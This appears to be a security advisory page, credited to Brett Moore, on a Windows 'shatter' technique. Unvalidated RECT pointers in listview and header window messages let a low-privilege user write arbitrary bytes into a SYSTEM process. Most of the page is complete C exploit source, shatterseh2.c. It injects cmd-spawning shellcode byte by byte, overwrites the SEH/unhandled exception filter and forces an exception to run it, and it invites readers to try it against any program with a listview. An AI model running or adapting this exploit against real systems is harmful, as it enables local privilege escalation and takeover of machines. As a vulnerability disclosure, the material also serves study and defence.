|
Brought to you by:
Suppliers of:
|
|
|
| |
The Win32 SEH (Structured Exception Handling) are a Microsoft extension to the C language that enables applications to gain control of a program after events that would normally terminate execution.
For more information see: Structured exception handling
The technique described here is a method allowing a low-level user to overwrite important memory locations in a SYSTEM process. Important memory locations such as SEH pointers, etc. |
| |
Credit:
The information was provided by Brett Moore
|
| |
Various windows messages accept a pointer to a POINT or RECT structure that will be used to retrieve GDI information about windows. These pointers do not appear to be validated in any way.
We will concentrate on the HDM_GETITEMRECT message:
(From MSDN)
- HDM_GETITEMRECT Message
-
- Retrieves the bounding rectangle for a given item in a header control.
- You can send this message explicitly or use the Header_GetItemRect macro.
-
- Syntax
-
- To send this message, call the SendMessage function as follows.
- lResult = SendMessage((HWND) hWndControl, // handle to control
- (UINT) HDM_GETITEMRECT, // message ID
- (WPARAM) wParam, // = (WPARAM) (int) iIndex;
- (LPARAM) lParam ); // = (LPARAM) (RECT*) lpItemRect;
- Parameters
- iIndex
- Zero-based index of the header control item for which to retrieve the
- bounding rectangle.
- lpItemRect
- Pointer to a RECT structure that receives the bounding rectangle information.
-
(End MSDN)
So if we wanted to overwrite the Unhandled Exception Filter 77edxxxx we would call:
SendMessage(hwnd,HDM_GETITEMRECT,0,0x77edxxxx)
Now the challenge is how do we control what is been written to the address.
The RECT structure is defined as:
(From MSDN)
- typedef struct _RECT {
- LONG left;
- LONG top;
- LONG right;
- LONG bottom;
- } RECT, *PRECT;
(End MSDN)
The only variable that we are in control of is the right, or width of the header item. The size is limited though, allowing us only to control the low order 16 bits of the written value. The high order bits are set to 0000.
But by offsetting our write address we can control the high order 16 bits of the required value, with the low order bits been set to 0000.
If we can place our shellcode in a place that includes XXXX0000 in the address then we will be able to land in our shellcode by setting the header item width to XXXX, causing the write and then causing an exception.
When used with the HDM_GETITEMRECT message, memory is overwritten as:
AAAABBBBCCCCDDDD where A = Left, B = Top, C = Right, D = Bottom
By setting the width of the first column, we are in control of the left value of the second column. We can use the least significant byte to overwrite memory space byte by byte.
When the HDM_GETITEMRECT is called, memory will be overwritten as:
XAAABBBBCCCCDDDD where X is our 'controlled' byte.
By doing one write and then incrementing our write address, we are able to write a string of controlled bytes to a controlled memory location. This location could be program read/write data space, or something global like TEB/PEB.
We can use this method to write our shellcode into a known writeable address. Then the SEH handler is overwritten with the same address, and after causing an exception the code is executed.
Exploit Code (Revised):
/**********************************************************
* shatterseh2.c
*
* Demonstrates the use of listview messages to;
* - inject shellcode to known location
* - overwrite 4 bytes of a critical memory address
*
* 3 Variables need to be set for proper execution.
* - tWindow is the title of the programs main window
* - sehHandler is the critical address to overwrite
* - shellcodeaddr is the data space to inject the code
* The 'autofind' feature may not work against all programs.
* Insert your own blank lines for readability
* Try it out against any program with a listview.
* eg: explorer, IE, any file open dialog
* Brett Moore [ brett.moore@security-assessment.com ]
* www.security-assessment.com
**********************************************************/
#include <windows.h>
#include <commctrl.h>
// Local Cmd Shellcode
BYTE exploit[] =
"\x90\x68\x63\x6d\x64\x00\x54\xb9\xc3\xaf\x01\x78\xff\xd1\xcc";
long hLVControl,hHdrControl;
char tWindow[]="Main Window Title";// The name of the main window
long sehHandler = 0x77edXXXX; // Critical Address To Overwrite
long shellcodeaddr = 0x0045e000; // Known Writeable Space Or Global Space
void doWrite(long tByte,long address);
void IterateWindows(long hWnd);
int main(int argc, char *argv[])
{
long hWnd;
HMODULE hMod;
DWORD ProcAddr;
printf("%% Playing with listview messages\n");
printf("%% brett.moore@security-assessment.com\n\n");
// Find local procedure address
hMod = LoadLibrary("msvcrt.dll");
ProcAddr = (DWORD)GetProcAddress(hMod, "system");
if(ProcAddr != 0)
// And put it in our shellcode
*(long *)&exploit[8] = ProcAddr;
printf("+ Finding %s Window...\n",tWindow);
hWnd = FindWindow(NULL,tWindow);
if(hWnd == NULL)
{
printf("+ Couldn't Find %s Window\n",tWindow);
return 0;
}
printf("+ Found Main Window At...0x%xh\n",hWnd);
IterateWindows(hWnd);
printf("+ Not Done...\n");
return 0;
}
void doWrite(long tByte,long address)
{
SendMessage((HWND) hLVControl,(UINT) LVM_SETCOLUMNWIDTH,
0,MAKELPARAM(tByte, 0));
SendMessage((HWND) hHdrControl,(UINT) HDM_GETITEMRECT,1,address);
}
void IterateWindows(long hWnd)
{
long childhWnd,looper;
childhWnd = GetNextWindow(hWnd,GW_CHILD);
while (childhWnd != NULL)
{
IterateWindows(childhWnd);
childhWnd = GetNextWindow(childhWnd ,GW_HWNDNEXT);
}
hLVControl = hWnd;
hHdrControl = SendMessage((HWND) hLVControl,(UINT) LVM_GETHEADER, 0,0);
if(hHdrControl != NULL)
{
// Found a Listview Window with a Header
printf("+ Found listview window..0x%xh\n",hLVControl);
printf("+ Found lvheader window..0x%xh\n",hHdrControl);
// Inject shellcode to known address
printf("+ Sending shellcode to...0x%xh\n",shellcodeaddr);
for (looper=0;looper<sizeof(exploit);looper++)
doWrite((long) exploit[looper],(shellcodeaddr + looper));
// Overwrite SEH
printf("+ Overwriting Top SEH....0x%xh\n",sehHandler);
doWrite(((shellcodeaddr) & 0xff),sehHandler);
doWrite(((shellcodeaddr >> 8) & 0xff),sehHandler+1);
doWrite(((shellcodeaddr >> 16) & 0xff),sehHandler+2);
doWrite(((shellcodeaddr >> 24) & 0xff),sehHandler+3);
// Cause exception
printf("+ Forcing Unhandled Exception\n");
SendMessage((HWND) hHdrControl,(UINT) HDM_GETITEMRECT,0,1);
printf("+ Done...\n");
exit(0);
}
|
|
|
|
|